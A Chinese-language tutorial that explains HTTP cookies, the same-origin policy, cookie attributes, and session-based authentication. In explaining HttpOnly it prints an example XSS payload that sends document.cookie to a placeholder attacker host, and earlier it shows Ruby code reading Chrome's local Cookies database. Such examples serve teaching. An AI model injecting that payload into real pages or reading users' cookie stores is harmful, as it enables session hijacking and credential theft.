前言
許多 Web application 都有會員系統的功能,在開發會員系統的過程中,使用者的身份認證是重要功能之一,用戶身份認證可說是系統資安的第一道防線,如果身份認證的過程中有任何缺失,會導致會員資料外洩,以及會員授權等問題,因此這篇文章簡單地討論與用戶身份認證有關的技術。
目錄
- 什麼是 Cookie,Cookie 如何運作
- Cookie 存在的目的
- Cookie 與同源政策
- Cookie 的資料屬性
- Cookie 與 Session 的關係
- Session-based Authentication
Cookie 與 Session 介紹
什麼是 Cookie 以及 Cookie 如何運作
首先 Cookie 是一個跟瀏覽器有關的技術並儲存在硬碟中純文字的檔案:
$ locate Cookies
....
/home/username/.config/google-chrome/Default/Cookies
....
一旦瀏覽器打開,這個檔案中的資料會被載入記憶體,不同的瀏覽器有不同管理 cookie 資料的方法,以 Chrome 為例,他使用 Sqlite (i.e 一個小型的資料庫) 來管理 cookie:
require 'sqlite3'cookies_file = '/home/username/.config/google-chrome/Default/Cookies'cookies_db = SQLite3::Database.new cookies_filecookies_info = cookies_db.execute("select name, encrypted_value from cookies")
Cookies 存在的目的
簡單地說,cookies 資料是用來描述『client 與 server 目前溝通狀態』的資料,這些資料會已 name-value的形式呈現。
在 www 的世界中,client 與 server 間的溝通需透過 HTTP 協定發送 request 和接收 response,但由於 HTTP stateless 的設計,requests 之間是獨立的個體,也就是說 server 端無法記住 client 端發送過哪些請求以此來記住 client 目前的狀態 (i.e server 無法知道 client 是否已經發送過認證請求)。
為了讓 server 端能記住 client 的狀態,HTTP 利用 Cookie 和 Set-Cookie 這兩個 header 提供 cookies 的功能,以下是 HTTP cookies 的運作方式:
首先 Client 發送帶有其資料的 request,隨後 server 會使用 Set-Cookie header 告訴 browser 這些資料要存在 Cookies 資料庫,當 Chrome 收到帶有 Set-Cookie 的 response 時,會將 Set-Cookie 的 value 存入 Cookies 資料庫 (i.e SQLite database),隨後當 client 透過 Chrome 發送請求到 “example.com” 這個 domain 時,Chrome 會從 Cookies 資料庫中讀取所有關於 “example.com” 這個 domain 的 Cookies 資料,並放在 request 的 Cookie header 中,最後 server 端透過解析 request Cookie header 中的資訊,了解 client 目前的狀態。
Cookie 與同源政策
在上述的例子中,可以發現 Chrome 在讀取 Cookie 資料時會根據 request 的目前的 domain name 來找對應的 Cookie 資料,這項行為是受限於 『同源政策』。
在管理 Cookie 的過程中,為了防止用戶的資料洩漏到不同的網站,或者被惡意網站竊取,Cookie資料的管理必須符合『同源政策』。
所謂的同源政策是用來限制網路資源共享的規則,當網路資源有著相同的 (1 協議 (2 網域 (3 端口 時,這些資源才可以彼此共享。
除了 Cookies 以外,LocalStorage、DOM 和 AJAX 請求也都必須符合同源政策。
Cookie 的資料屬性
在前面幾張圖可以發現,在 HTTP response Set-Cookie 這個 header 中,除了name 和 value 以外還有許多不同的資訊:
domain 和 path: 設定關於 Cookie 的網域以及路徑。
expires / max-age: 設定 Cookie 資料過期的時間, expires 必須是一個日期,max-age 則是秒數。
size: cookie 資料的大小,單位是 bytes。
HttpOnly: 設定 cookies 的資料只能透過 server 讀取,也就是說 js 程式碼無法讀取,設定 HttpOnly 可以避免 XSS 攻擊,例如駭客可以透過嵌入
<script>location.replace('http://badpage.com/?secret='+document.cookie)
來獲取你的 cookie 資料。
Secure: 設定 cookie 的資料必須透過 SSL (i.e Https)加密傳送。
SameSite: 設定 cookie 資料的傳送是否可以跨域,如果 samesite 值為 Strict 值不能跨域,如果值為 Lax 值可以跨域。
Cookies 和 Session 的關係
Cookies 和 Session 存在的目的都是幫助 Server 記住 Client 的狀態,差別在 Cookies 是將狀態資料存在 Client 端(i.e Browser),而 Session 則是將資料存在 Server 端 ( e.g Redis )。
那麼問題來了,這兩個相似的技術有什麼關係呢?其實 Session 並不是用來替代 Cookies ,而是用來彌補 Cookies 的不足:
- Cookies size 限制: 根據 RFC-2965 的規定,一個 Cookies 最大可以是 4096 bytes,而一個 domain 最多只能有 20 cookies。
- 佔據網路流量: 由於每次 request 都必須將 cookies 的資料放在 headers,所以當 cookies 的資料變大時,request 也會跟著變大,過大的 request 會影響網路傳輸的速度。
- Cookies 資料可被使用者竄改: 由於 Cookies 存在 browser 中,所以使用者可透過瀏覽器查看 cookies 的資料以及其結構,當使用者任意竄改 cookies 的資料時可能會導致資料外洩或者系統流程出錯。
根據以上限制,Cookies 只能儲存結構簡單,容量小且無意義的資訊,也就是說像是用戶資訊,購物車商品以及信用卡資訊都不適合放在 Cookies。
為了彌補 Cookies 的不足,我們會在 Server 端使用 Session 的機制去儲存這些狀態資訊,並產生一組 Session key 放入 Cookie 中,由於狀態資訊是直接存在 Server 端的,所以使用者無法讀取,使用者只能看到 session key 但不知道其結構,同時也能避免 Cookie 存入過多資料。
總結來說,Session 是一種比 Cookie 更安全的狀態管理機制,與 Cookie 不同的是,他將狀態資訊存在 Server 端,避免 client 端的 Cookie 資訊過載以及使用者任意修改 Cookie 內容,而為了確保使用者每次發的 request 都會讀取到相同的 Session 內容,在建立 Session 會產生 Session key 並放入 Cookie 中。
Session-based Authentication
認證 (Authentication)機制是透過使用者所給予的資訊來驗證其身份,而Session-based authentication,是將使用者的資訊存在 Session 後,透過 session id 來驗證其身份。
Session-based authentication 是 stateful 的驗證機制,也就是 Server 端和 Client 端都必須儲存狀態資訊,例如 Server 端必須將使用者資料存在 Session database,而Client 端也必須用 Cookie 儲存 session id。
在 Session-based authentication 中,由於狀態資訊都儲存在 Server 端所以管理起來比 Cookie 方便,也不會造成 request 和 browser 的負擔,但有利就有弊,Session-based authentication 不適用於 API-based 架構:
在系統架構中,為了提高系統的可擴展性,我們會採用 API-based 的設計,由於 session id 必須儲存於 cookie 中,而 cookie 必須遵守同源政策, 也就是說因為Web Server 和 API Server 的 domain 不同,Web Server 無法將 session id 透過 cookie 傳送給 API server,因此 API Server 也無法驗證使用者的身分。
下一章節會提到 Token-based authentication,是一種 stateless 的驗證方法,能夠解決上述 scalability 的問題。